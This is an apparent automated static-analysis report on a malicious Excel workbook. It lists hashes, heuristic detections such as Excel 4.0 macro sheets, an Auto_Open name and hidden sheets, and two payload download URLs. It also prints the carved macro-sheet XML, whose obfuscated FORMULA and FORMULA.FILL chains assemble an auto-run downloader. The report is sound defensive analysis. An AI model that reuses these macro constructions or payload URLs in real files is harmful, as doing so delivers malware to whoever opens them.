Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9823ebfef687ae0d…

MALICIOUS

Office (OOXML)

158.3 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: 2b2e51b7e2e8b3a2d43f279a6c8162df SHA-1: 820f6d86d923ecaced044d54e923ca02cb889c27 SHA-256: 9823ebfef687ae0d4f0286a4e46a44c9600b028ad40dd8a408eaff59c3ed53fa
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains multiple Excel 4.0 macro sheets, including one with an Auto_Open defined name, which is a common technique for executing malicious code upon opening. The macros utilize dangerous functions like FORMULA to call external DLLs and download payloads from the provided URLs. The embedded DOC BODY text also hints at URL downloading functionality.

Heuristics 5

  • Excel 4.0 macro sheet (5 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, HALT, FORMULA.FILL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://biopaten.no/xeBP8Oj5/gg.html In document text (OOXML body / shared strings)
    • https://beartoothkawasaki.com/QJT19jhtwHt/gg.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 11346 bytes
SHA-256: 15fbfe55b20413f92e6ae6dcaa5199ef4834995471413702ff1b1894f486343d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.7109375" customWidth="1"/><col min="41" max="45" width="4.7109375" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="s"><v>23</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="s"><v>22</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" t="str"><f>"https://biopaten.no/xeBP8Oj5/gg.html"</f><v>https://biopaten.no/xeBP8Oj5/gg.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" t="str"><f>"https://beartoothkawasaki.com/QJT19jhtwHt/gg.html"</f><v>https://beartoothkawasaki.com/QJT19jhtwHt/gg.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AO112" s="2"/><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AO113" s="2" t="b"><f>FORMULA(Docs1!AQ130&amp;Docs1!AQ131&amp;Docs1!AQ132,Docs1!AQ148)</f><v>1</v></c><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AO114" s="2" t="b"><f>FORMULA(Docs1!AQ114&amp;Docs1!AQ115&amp;Docs1!AQ116&amp;Docs1!AQ117&amp;Docs1!AQ118,Docs1!AQ149)</f><v>1</v></c><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r=
... (truncated)
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1807 bytes
SHA-256: 01be081374433318ab060c7d9534b134366d414e43d756214d58deb1a7557a22
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0300-000000000000}"><dimension ref="AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="33" max="33" width="4.7109375" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL(Docs1!AR122&amp;Docs1!AR123&amp;Docs1!AR136&amp;Docs1!AQ148&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ149&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ150&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ108&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ105&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR139,Docs1!AO148)=Docs3!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1777 bytes
SHA-256: 4942d78e9a4c26c9352582ba044fbdd7b5e434ac67308d3cb59b8725b48e9b99
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0400-000000000000}"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="35" max="35" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL(Docs1!AR122&amp;Docs1!AR123&amp;Docs1!AR136&amp;Docs1!AQ148&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ149&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ150&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ109&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR137&amp;Docs1!AQ106&amp;Docs1!AR137&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR140&amp;Docs1!AR142&amp;Docs1!AR139,Docs1!AO149)=Docs4!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1460 bytes
SHA-256: a6863ce46a6a991745232b05bc1b5af380056ae05155ba24221669ae920dc1d9
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0500-000000000000}"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="39" max="39" width="4.7109375" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL(Docs1!AQ136&amp;Docs1!AQ137&amp;Docs1!AQ138&amp;Docs1!AQ139&amp;Docs1!AQ140&amp;Docs1!AQ141&amp;Docs1!AQ142&amp;"2 ",Docs1!AQ154)=Docs1!AO130()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1558 bytes
SHA-256: 7a65a9a19541a783d2364e0cc237ab353fd49b12ac69aaaae5e6996c7d787d37
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0600-000000000000}"><dimension ref="AM10"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="38" max="38" width="4.7109375" customWidth="1"/><col min="39" max="39" width="4.7109375" hidden="1" customWidth="1"/></cols><sheetData><row r="10" spans="39:39" x14ac:dyDescent="0.25"><c r="AM10" s="1" t="b"><f>FORMULA.ARRAY(Docs1!AQ122&amp;Docs1!AQ153&amp;Docs1!AQ151&amp;Docs1!AQ154&amp;Docs1!AQ106&amp;Docs1!AR135,Docs1!AO151)=Docs1!AO134()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>